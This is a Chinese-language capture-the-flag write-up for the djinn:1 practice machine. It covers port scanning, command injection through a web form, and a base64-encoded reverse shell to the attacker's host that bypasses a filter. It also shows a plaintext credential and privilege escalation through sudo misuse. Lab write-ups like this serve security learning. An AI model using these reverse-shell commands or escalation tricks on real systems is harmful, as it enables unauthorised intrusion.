前言

图片

HackTheName:djinn:1
难度:中等
flags: user.txt and root.txt
Description: The machine is VirtualBox as well as VMWare compatible. The DHCP will assign an IP automatically. You’ll see the IP right on the login screen. You have to find and read two flags (user and root) which is present in user.txt and root.txt respectively.
Format: Virtual Machine (Virtualbox - OVA)
Operating System: Linux

信息搜集

打开靶机后,显示 IP:192.168.136.142,好方便,这样就不用我们扫内网主机存活了。

端口探测

先探测一下开放了那些端口吧:

1
nmap -p- A 192.168.136.142

图片

它开放了21,1337,7331端口!我们先来看看1377端口吧:

1
curl 192.168.136.142:1377

图片

1
2
3
4
5
Let's see how good you are with simple maths
Answer my questions 1000 times and I'll give you your gift.
(4, '-', 2)
> Stop acting like a hacker for a damn minute!!
curl: (56) Recv failure: Connection reset by peer

翻译过来的意思就是:让我们看看您的简单数学成绩如何,回答我的问题1000次,我会给你礼物。

图片

我们先使用Nc建立一个连接看看吧:

1
nc 192.168.136.142 1337

图片

这是一个加减乘除游戏?我…,作为一个Hacker,我感觉我的智商被侮辱了,我关闭了shell窗口。继续看下一个端口7331:

1
curl 192.168.136.142:7331

图片

这边返回的是一个HTML页面,说明是一个网页,那么我们浏览器打开看看:

192.168.136.142:7331

图片

Web渗透命令执行

进入到Web页面,发现没有什么可以利用的地方,连个交互的地方都没得。我们还是先来枚举一下目录看看吧:

1
dirb http://192.168.136.142:7331

图片

得出了两个文件:geniewish:

1
2
3
---- Scanning URL: http://192.168.136.142:7331/ ----
+ http://192.168.136.142:7331/genie (CODE:200|SIZE:1676)
+ http://192.168.136.142:7331/wish (CODE:200|SIZE:385)

访问 http://192.168.136.142:7331/genie 发现是403

图片

那么我们继续扫描genie下的目录和文件,在扫描过程中我们在看看wish目录:

http://192.168.136.142:7331/wish

图片

发现是一个提交表单,上面显示:Oh you found me then go on make a wish.This can make all your wishes come true,翻译过来的意思就是:哦,你找到我,然后继续许个愿。这可以使您的所有愿望成真!
emmm,我的愿望是让我变得有钱…

图片

图片

提交后显示 403?说好实现我的愿望呢?你个骗纸!!!

咳咳,我们继续回到正题,既然是一个表单,我第一时间想到了XSSSQL注入,但是这玩意是个静态的页面,也没用啊?后来随手输入了一个ifconfig,结果返回了ip的信息:

图片

NC反弹shell

原来是一个命令执行啊,那么就掏出Netcat来弹个shell回来:

1
KALI上监听:nc -lvvp 6666

图片

然后在表单提交框提交nc命令:

1
nc -e /bin/sh 192.168.136.138

图片

提交后发现KALI监听没反应:

图片

估计是它做了一些限制,后来FUZZ了一下,它能够执行ifconfigidwhoamiecho这些普通命令,但是你执行一些其他的就不成功!这个时候就难了,最后想到利用编码来绕过一下,既然明文是不行的,那么编码后应该就可以了?我们来看看使用base64编码:

1
2
编码前:nc -e /bin/sh 192.168.136.138
编码后:bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjEzNi4xMzg=

图片

然后我们通过管道来让他分别执行命令:

1
2
3
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNi4xMzgvNjY2NiAwPiYx | base64 -d | bash
其中加密的base64的内容是:bash -i >& /dev/tcp/192.168.136.138/6666 0>&1
意思就是使用echo 输出一段base64加密的内容,然后通过管道(|)来继续执行base64 -d解码后的base64最后再执行bash命令

图片

图片

这个时候就反弹回来一枚shell!然后查看一下当前权限:

1
whoami

图片

发现只是一个普通的data网站权限,没啥用,我们翻一下目录文件吧:

1
ls

图片

结果没啥文件,那个app.py是刚刚侮辱我知识的加减乘除游戏代码,接着我来到/home下看看有那些用户:

1
cd /home

图片

发现有nitishsam两个用户!我们先去到nitish目录下看看:

1
2
cd nitish
发现有一个user.txt文件,我们cat查看了一下发现没有啥东西

图片

我们继续翻文件,发现了一个creds.txt的文件:

图片

creds.txt内容应该就是密码了:

1
nitish:p4ssw0rdStr3r0n9

权限提升

但是有个问题,它22端口没开放…我ssh也进不去啊,那可咋整?既然这服务器里有python脚本,那么就肯定是有python环境的,那么我们就可以利用bash来调用python执行代码反弹一shell,最后再使用su来登陆到nitish这个用户:

1
2
3
bash
python -c 'import pty;pty.spawn("/bin/sh")'
nitish:p4ssw0rdStr3r0n9

图片

成功切换到nitish用户,那么习惯性的看看可以执行那些root权限的命令:

1
sudo -l

图片

1
genie -h

图片

先是简单看了一下genie的参数有那些,这命令比较陌生,原来这玩意是一个二进制文件?
然后使用man来查看了一下genie的帮助信息:man /usr/bin/genie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
nitish@djinn:~/.dev$ man /usr/bin/genie
man /usr/bin/genie
WARNING: terminal is not fully functional
- (press RETURN)

man(8) genie man page man(8)

NAME
genie - Make a wish

SYNOPSIS
genie [-h] [-g] [-p SHELL] [-e EXEC] wish

DESCRIPTION
genie would complete all your wishes, even the naughty ones.

We all dream of getting those crazy privelege escalations, this will
even help you acheive that.

OPTIONS
wish

This is the wish you want to make .

-g, --god

Sometime we all would like to make a wish to god, this option
Manual page genie(8) line 1 (press h for help or q to quit)
let you make wish directly to God;
Manual page genie(8) line 2 (press h for help or q to quit)

Manual page genie(8) line 3 (press h for help or q to quit)
Though genie can't gurantee you that your wish will be heard by
Manual page genie(8) line 4 (press h for help or q to quit)
God, he's a busy man you know;
Manual page genie(8) line 5 (press h for help or q to quit)

Manual page genie(8) line 6 (press h for help or q to quit)
-p, --shell
Manual page genie(8) line 7 (press h for help or q to quit)

Manual page genie(8) line 8 (press h for help or q to quit)
Well who doesn't love those. You can get shell. Ex: -p "/bin/sh"
Manual page genie(8) line 9 (press h for help or q to quit)

Manual page genie(8) line 10 (press h for help or q to quit)
-e, --exec
Manual page genie(8) line 11 (press h for help or q to quit)

Manual page genie(8) line 12 (press h for help or q to quit)
Execute command on someone else computer is just too damn fun,
Manual page genie(8) line 13 (press h for help or q to quit)
but this comes with some restrictions.
Manual page genie(8) line 14 (press h for help or q to quit)

Manual page genie(8) line 15 (press h for help or q to quit)
-cmd
Manual page genie(8) line 16 (press h for help or q to quit)

Manual page genie(8) line 17 (press h for help or q to quit)
You know sometime all you new is a damn CMD, windows I love you.
Manual page genie(8) line 18 (press h for help or q to quit)

Manual page genie(8) line 19 (press h for help or q to quit)
SEE ALSO
Manual page genie(8) line 20 (press h for help or q to quit)
mzfr.github.io
Manual page genie(8) line 21 (press h for help or q to quit)

Manual page genie(8) line 22 (press h for help or q to quit)
BUGS
Manual page genie(8) line 23 (press h for help or q to quit)
There are shit loads of bug in this program, it's all about finding
Manual page genie(8) line 24 (press h for help or q to quit)
one.
Manual page genie(8) line 25 (press h for help or q to quit)

Manual page genie(8) line 26 (press h for help or q to quit)
AUTHOR
Manual page genie(8) line 27 (press h for help or q to quit)
mzfr
Manual page genie(8) line 28 (press h for help or q to quit)

Manual page genie(8) line 29 (press h for help or q to quit)
1.0 11 November 2019 man(8)
Manual page genie(8) line 30 (press h for help or q to quit)
Manual page genie(8) line 30/52 (END) (press h for help or q to quit)

发现了一个隐藏的信息:

图片

1
2
sudo -u sam /usr/bin/genie -p "/bin/sh"
尝试了一下 -p 参数,发现并没有返回shell

图片

然后我试了试cmd,结果反弹回了sam的shell:

1
2
sudo -u sam genie -cmd id
这段代码的意思是:使用sudo -u来指定sam用户来调用genie来执行-cmd参数执行id命令

图片

还是老规矩,看看sam有那些root执行的权限命令:

1
sudo -l

图片

执行了sudo /root/lago之后,当时我表示没看懂,真没看懂!

图片

后来经过FUZZ发现第2,输入num就可以得到shell

1
2
3
sudo /root/lago
2
num

图片

总结

先是通过Nmap扫描出了一些服务,FTPHTTP,然后在web中发现了命令执行,使用NC反弹得到了一个shell,接着是找到了一个用户的密码,最终使用FUZZ得到了Root权限!